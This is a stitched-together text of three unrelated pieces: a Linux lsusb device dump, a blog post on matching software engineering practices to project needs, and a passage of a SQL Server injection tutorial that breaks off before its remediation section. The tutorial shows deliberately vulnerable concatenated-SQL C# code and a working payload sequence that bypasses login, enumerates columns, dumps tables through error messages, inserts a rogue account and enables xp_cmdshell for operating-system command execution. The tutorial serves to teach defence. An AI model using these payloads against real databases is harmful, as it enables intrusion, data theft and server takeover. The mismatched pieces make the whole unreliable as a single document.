bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0004 1x 4 bytes bInterval 12 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 5 wHubCharacteristic 0x000a No power switching (usb 1.0) Per-port overcurrent protection bPwrOn2PwrGood 10 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0100 power Port 3: 0000.0100 power Port 4: 0000.0100 power Port 5: 0000.0100 power Device Status: 0x0001 Self Powered Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0002 2.0 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ehci_hcd iProduct 2 EHCI Host Controller iSerial 1 0000:00:16.2 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0004 1x 4 bytes bInterval 12 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 4 wHubCharacteristic 0x000a No power switching (usb 1.0) Per-port overcurrent protection bPwrOn2PwrGood 10 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0100 power Port 3: 0000.0100 power Port 4: 0000.0100 power Device Status: 0x0001 Self Powered Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 1.10 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0001 1.1 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ohci_hcd iProduct 2 OHCI Host Controller iSerial 1 0000:00:12.0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0002 1x 2 bytes bInterval 255 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 5 wHubCharacteristic 0x0002 No power switching (usb 1.0) Ganged overcurrent protection bPwrOn2PwrGood 2 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0100 power Port 3: 0000.0100 power Port 4: 0000.0100 power Port 5: 0000.0100 power Device Status: 0x0001 Self Powered Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 1.10 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0001 1.1 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ohci_hcd iProduct 2 OHCI Host Controller iSerial 1 0000:00:13.0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0002 1x 2 bytes bInterval 255 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 5 wHubCharacteristic 0x0002 No power switching (usb 1.0) Ganged overcurrent protection bPwrOn2PwrGood 2 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0100 power Port 3: 0000.0100 power Port 4: 0000.0100 power Port 5: 0000.0100 power Device Status: 0x0001 Self Powered Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 1.10 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0001 1.1 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ohci_hcd iProduct 2 OHCI Host Controller iSerial 1 0000:00:14.5 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0002 1x 2 bytes bInterval 255 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 2 wHubCharacteristic 0x0002 No power switching (usb 1.0) Ganged overcurrent protection bPwrOn2PwrGood 2 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0100 power Device Status: 0x0001 Self Powered Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 1.10 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 0 Full speed (or root) hub bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0001 1.1 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic ohci_hcd iProduct 2 OHCI Host Controller iSerial 1 0000:00:16.0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0002 1x 2 bytes bInterval 255 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 4 wHubCharacteristic 0x0002 No power switching (usb 1.0) Ganged overcurrent protection bPwrOn2PwrGood 2 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0303 lowspeed power enable connect Port 2: 0000.0100 power Port 3: 0000.0100 power Port 4: 0000.0100 power Device Status: 0x0001 Self Powered Bus 008 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 1 Single TT bMaxPacketSize0 64 idVendor 0x1d6b Linux Foundation idProduct 0x0002 2.0 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic xhci_hcd iProduct 2 xHCI Host Controller iSerial 1 0000:02:00.0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 25 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0004 1x 4 bytes bInterval 12 Hub Descriptor: bLength 9 bDescriptorType 41 nNbrPorts 2 wHubCharacteristic 0x0009 Per-port power switching Per-port overcurrent protection TT think time 8 FS bits bPwrOn2PwrGood 10 * 2 milli seconds bHubContrCurrent 0 milli Ampere DeviceRemovable 0x00 PortPwrCtrlMask 0xff Hub Port Status: Port 1: 0000.0100 power Port 2: 0000.0100 power Device Status: 0x0001 Self Powered Bus 009 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 3.00 bDeviceClass 9 Hub bDeviceSubClass 0 Unused bDeviceProtocol 3 bMaxPacketSize0 9 idVendor 0x1d6b Linux Foundation idProduct 0x0003 3.0 root hub bcdDevice 3.02 iManufacturer 3 Linux 3.2.0-32-generic xhci_hcd iProduct 2 xHCI Host Controller iSerial 1 0000:02:00.0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 31 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 0mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 9 Hub bInterfaceSubClass 0 Unused bInterfaceProtocol 0 Full speed (or root) hub iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0004 1x 4 bytes bInterval 12 bMaxBurst 0 Hub Descriptor: bLength 12 bDescriptorType 42 nNbrPorts 2 wHubCharacteristic 0x0009 Per-port power switching Per-port overcurrent protection bPwrOn2PwrGood 10 * 2 milli seconds bHubContrCurrent 0 milli Ampere bHubDecLat 0.0 micro seconds wHubDelay 0 nano seconds DeviceRemovable 0x00 Hub Port Status: Port 1: 0000.02a0 5Gbps power Rx.Detect Port 2: 0000.02a0 5Gbps power Rx.Detect Binary Object Store Descriptor: bLength 5 bDescriptorType 15 wTotalLength 15 bNumDeviceCaps 1 SuperSpeed USB Device Capability: bLength 10 bDescriptorType 16 bDevCapabilityType 3 bmAttributes 0x00 Latency Tolerance Messages (LTM) Supported wSpeedsSupported 0x0008 Device can operate at SuperSpeed (5Gbps) bFunctionalitySupport 3 Lowest fully-functional device speed is SuperSpeed (5Gbps) bU1DevExitLat 3 micro seconds bU2DevExitLat 2047 micro seconds Device Status: 0x0001 Self Powered Bus 001 Device 002: ID 04a9:1709 Canon, Inc. PIXMA MP150 Scanner Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x04a9 Canon, Inc. idProduct 0x1709 PIXMA MP150 Scanner bcdDevice 1.08 iManufacturer 1 Canon iProduct 2 MP150 iSerial 3 20BC24 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 62 bNumInterfaces 2 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xc0 Self Powered MaxPower 2mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 0 bInterfaceProtocol 255 iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x07 EP 7 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x88 EP 8 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x89 EP 9 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 11 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 1 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 7 Printer bInterfaceSubClass 1 Printer bInterfaceProtocol 2 Bidirectional iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 1 Device Status: 0x0001 Self Powered Bus 007 Device 002: ID 046d:c517 Logitech, Inc. LX710 Cordless Desktop Laser Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 1.10 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 8 idVendor 0x046d Logitech, Inc. idProduct 0xc517 LX710 Cordless Desktop Laser bcdDevice 38.10 iManufacturer 1 Logitech iProduct 2 USB Receiver iSerial 0 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 59 bNumInterfaces 2 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xa0 (Bus Powered) Remote Wakeup MaxPower 98mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 3 Human Interface Device bInterfaceSubClass 1 Boot Interface Subclass bInterfaceProtocol 1 Keyboard iInterface 0 HID Device Descriptor: bLength 9 bDescriptorType 33 bcdHID 1.10 bCountryCode 0 Not supported bNumDescriptors 1 bDescriptorType 34 Report wDescriptorLength 59 Report Descriptors: ** UNAVAILABLE ** Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0008 1x 8 bytes bInterval 10 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 1 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 3 Human Interface Device bInterfaceSubClass 1 Boot Interface Subclass bInterfaceProtocol 2 Mouse iInterface 0 HID Device Descriptor: bLength 9 bDescriptorType 33 bcdHID 1.10 bCountryCode 0 Not supported bNumDescriptors 1 bDescriptorType 34 Report wDescriptorLength 177 Report Descriptors: ** UNAVAILABLE ** Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0008 1x 8 bytes bInterval 10 Device Status: 0x0000 (Bus Powered) This is with the powered hub plugged in.

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• Software Engineering Practices &ndash; Different Projects should have different maturity levels

  - by Dylan Smith

  I’ve had a lot of discussions at the office lately about the drastically different sets of software engineering practices used on our various projects, if what we are doing is appropriate, and what factors should you be considering when determining what practices are most appropriate in a given context. I wanted to write up my thoughts in a little more detail on this subject, so here we go: If you compare any two software projects (specifically comparing their codebases) you’ll often see very different levels of maturity in the software engineering practices employed. By software engineering practices, I’m specifically referring to the quality of the code and the amount of technical debt present in the project. Things such as Test Driven Development, Domain Driven Design, Behavior Driven Development, proper adherence to the SOLID principles, etc. are all practices that you would expect at the mature end of the spectrum. At the other end of the spectrum would be the quick-and-dirty solutions that are done using something like an Access Database, Excel Spreadsheet, or maybe some quick “drag-and-drop coding”. For this blog post I’m going to refer to this as the Software Engineering Maturity Spectrum (SEMS). I believe there is a time and a place for projects at every part of that SEMS. The risks and costs associated with under-engineering solutions have been written about a million times over so I won’t bother going into them again here, but there are also (unnecessary) costs with over-engineering a solution. Sometimes putting multiple layers, and IoC containers, and abstracting out the persistence, etc is complete overkill if a one-time use Access database could solve the problem perfectly well. A lot of software developers I talk to seem to automatically jump to the very right-hand side of this SEMS in everything they do. A common rationalization I hear is that it may seem like a small trivial application today, but these things always grow and stick around for many years, then you’re stuck maintaining a big ball of mud. I think this is a cop-out. Sure you can’t always anticipate how an application will be used or grow over its lifetime (can you ever??), but that doesn’t mean you can’t manage it and evolve the underlying software architecture as necessary (even if that means having to toss the code out and re-write it at some point…maybe even multiple times). My thoughts are that we should be making a conscious decision around the start of each project approximately where on the SEMS we want the project to exist. I believe this decision should be based on 3 factors: 1. Importance - How important to the business is this application? What is the impact if the application were to suddenly stop working? 2. Complexity - How complex is the application functionality? 3. Life-Expectancy - How long is this application expected to be in use? Is this a one-time use application, does it fill a short-term need, or is it more strategic and is expected to be in-use for many years to come? Of course this isn’t an exact science. You can’t say that Project X should be at the 73% mark on the SEMS and expect that to be helpful. My point is not that you need to precisely figure out what point on the SEMS the project should be at then translate that into some prescriptive set of practices and techniques you should be using. Rather my point is that we need to be aware that there is a spectrum, and that not everything is going to be (or should be) at the edges of that spectrum, indeed a large number of projects should probably fall somewhere within the middle; and different projects should adopt a different level of software engineering practices and maturity levels based on the needs of that project. To give an example of this way of thinking from my day job: Every couple of years my company plans and hosts a large event where ~400 of our customers all fly in to one location for a multi-day event with various activities. We have some staff whose job it is to organize the logistics of this event, which includes tracking which flights everybody is booked on, arranging for transportation to/from airports, arranging for hotel rooms, name tags, etc The last time we arranged this event all these various pieces of data were tracked in separate spreadsheets and reconciliation and cross-referencing of all the data was literally done by hand using printed copies of the spreadsheets and several people sitting around a table going down each list row by row. Obviously there is some room for improvement in how we are using software to manage the event’s logistics. The next time this event occurs we plan to provide the event planning staff with a more intelligent tool (either an Excel spreadsheet or probably an Access database) that can track all the information in one location and make sure that the various pieces of data are properly linked together (so for example if a person cancels you only need to delete them from one place, and not a dozen separate lists). This solution would fall at or near the very left end of the SEMS meaning that we will just quickly create something with very little attention paid to using mature software engineering practices. If we examine this project against the 3 criteria I listed above for determining it’s place within the SEMS we can see why: Importance – If this application were to stop working the business doesn’t grind to a halt, revenue doesn’t stop, and in fact our customers wouldn’t even notice since it isn’t a customer facing application. The impact would simply be more work for our event planning staff as they revert back to the previous way of doing things (assuming we don’t have any data loss). Complexity – The use cases for this project are pretty straightforward. It simply needs to manage several lists of data, and link them together appropriately. Precisely the task that access (and/or Excel) can do with minimal custom development required. Life-Expectancy – For this specific project we’re only planning to create something to be used for the one event (we only hold these events every 2 years). If it works well this may change (see below). Let’s assume we hack something out quickly and it works great when we plan the next event. We may decide that we want to make some tweaks to the tool and adopt it for planning all future events of this nature. In that case we should examine where the current application is on the SEMS, and make a conscious decision whether something needs to be done to move it further to the right based on the new objectives and goals for this application. This may mean scrapping the access database and re-writing it as an actual web or windows application. In this case, the life-expectancy changed, but let’s assume the importance and complexity didn’t change all that much. We can still probably get away with not adopting a lot of the so-called “best practices”. For example, we can probably still use some of the RAD tooling available and might have an Autonomous View style design that connects directly to the database and binds to typed datasets (we might even choose to simply leave it as an access database and continue using it; this is a decision that needs to be made on a case-by-case basis). At Anvil Digital we have aspirations to become a primarily product-based company. So let’s say we use this tool to plan a handful of events internally, and everybody loves it. Maybe a couple years down the road we decide we want to package the tool up and sell it as a product to some of our customers. In this case the project objectives/goals change quite drastically. Now the tool becomes a source of revenue, and the impact of it suddenly stopping working is significantly less acceptable. Also as we hold focus groups, and gather feedback from customers and potential customers there’s a pretty good chance the feature-set and complexity will have to grow considerably from when we were using it only internally for planning a small handful of events for one company. In this fictional scenario I would expect the target on the SEMS to jump to the far right. Depending on how we implemented the previous release we may be able to refactor and evolve the existing codebase to introduce a more layered architecture, a robust set of automated tests, introduce a proper ORM and IoC container, etc. More likely in this example the jump along the SEMS would be so large we’d probably end up scrapping the current code and re-writing. Although, if it was a slow phased roll-out to only a handful of customers, where we collected feedback, made some tweaks, and then rolled out to a couple more customers, we may be able to slowly refactor and evolve the code over time rather than tossing it out and starting from scratch. The key point I’m trying to get across is not that you should be throwing out your code and starting from scratch all the time. But rather that you should be aware of when and how the context and objectives around a project changes and periodically re-assess where the project currently falls on the SEMS and whether that needs to be adjusted based on changing needs. Note: There is also the idea of “spectrum decay”. Since our industry is rapidly evolving, what we currently accept as mature software engineering practices (the right end of the SEMS) probably won’t be the same 3 years from now. If you have a project that you were to assess at somewhere around the 80% mark on the SEMS today, but don’t touch the code for 3 years and come back and re-assess its position, it will almost certainly have changed since the right end of the SEMS will have moved farther out (maybe the project is now only around 60% due to decay). Developer Skills Another important aspect to this whole discussion is around the skill sets of your architects and lead developers. When talking about the progression of a developers skills from junior->intermediate->senior->… they generally start by only being able to write code that belongs on the left side of the SEMS and as they gain more knowledge and skill they become capable of working at a higher and higher level along the SEMS. We all realize that the learning never stops, but eventually you’ll get to the point where you can comfortably develop at the right-end of the SEMS (the exact practices and techniques that translates to is constantly changing, but that’s not the point here). A critical skill that I’d love to see more evidence of in our industry is the most senior guys not only being able to work at the right-end of the SEMS, but more importantly be able to consciously work at any point along the SEMS as project needs dictate. An even more valuable skill would be if you could make the conscious decision to move a projects code further right on the SEMS (based on changing needs) and do so in an incremental manner without having to start from scratch. An exercise that I’m planning to go through with all of our projects here at Anvil in the near future is to map out where I believe each project currently falls within this SEMS, where I believe the project *should* be on the SEMS based on the business needs, and for those that don’t match up (i.e. most of them) come up with a plan to improve the situation.

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// 